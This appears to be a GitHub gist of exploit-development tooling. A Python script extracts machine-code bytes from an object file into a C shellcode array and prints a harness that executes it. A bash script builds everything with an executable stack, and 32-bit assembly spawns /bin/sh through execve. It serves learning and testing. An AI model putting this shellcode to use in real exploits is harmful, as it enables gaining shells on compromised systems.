Skip to content

Instantly share code, notes, and snippets.

@pdxjohnny
Last active August 29, 2015 14:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save pdxjohnny/05439e9c54cbd04c0686 to your computer and use it in GitHub Desktop.
Save pdxjohnny/05439e9c54cbd04c0686 to your computer and use it in GitHub Desktop.
Generate and run shellcode
import os
import sys
import random
import string
def id_generator(size=6, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def objdump(file_name, function="main"):
tmp = id_generator()
os.system("objdump -d %s > %s" % (file_name, tmp,))
objcode = ""
start_at = "<%s>:" % (function, )
found = False
dump_file = open(tmp, "rb")
for line in dump_file:
line = line.replace("\r", "").replace("\n", "")
if found and len(line) > 0 and line[-1] != ":":
objcode += line + '\n'
if len(line) > 0 and line[-1] == ":":
if found:
break
if line[-len(start_at):] == start_at:
found = True
continue
if os.path.exists(tmp):
os.remove(tmp)
return objcode
def from_objcode(objcode):
shellcode = []
for line in objcode.split("\n"):
if len(line) > 1:
hexcode = []
line = line.split("\t")[1].split(" ")
for char in line:
if len(char) > 1:
hexcode.append(char)
shellcode += hexcode
return shellcode
def main():
file_name = sys.argv[1]
objcode = objdump(file_name)
shellcode = from_objcode(objcode)
sys.stdout.write("char shellcode[] = \"")
for char in shellcode:
sys.stdout.write("\\x")
sys.stdout.write(char)
sys.stdout.write("\";\n")
print ccode
return 0
ccode = """
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) shellcode;
(int)(*func)();
}
"""
if __name__ == '__main__':
main()
#!/bin/bash
DIR="build/"
ASMCODE="sh.s"
OBJCODE="sh.o"
TESTCODE="testshellcode.c"
OUTPUT="sh"
mkdir -p ${DIR}
gcc -m32 ${ASMCODE} -c
mv ${OBJCODE} ${DIR}${OBJCODE}
python get_shellcode.py ${DIR}${OBJCODE} > ${DIR}${TESTCODE}
gcc -m32 -z execstack ${DIR}${TESTCODE} -o ${DIR}${OUTPUT}
.file "sh.s"
.text
.globl main
.type main, @function
main:
subl $32, %esp
movb $0x2f, 16(%esp)
movb $0x62, 17(%esp)
movb $0x69, 18(%esp)
movb $0x6e, 19(%esp)
movb $0x2f, 20(%esp)
movb $0x73, 21(%esp)
movb $0x68, 22(%esp)
movb $0x0, 23(%esp)
lea 16(%esp), %edx
movl %edx, 24(%esp)
movl $0, 28(%esp)
leal 24(%esp), %ecx
mov $0,%edx
mov 24(%esp),%ebx
mov $11,%eax
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
.size main, .-main
.ident "GCC: (Ubuntu 4.8.2-19ubuntu1) 4.8.2"
.section .note.GNU-stack,"",@progbits
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment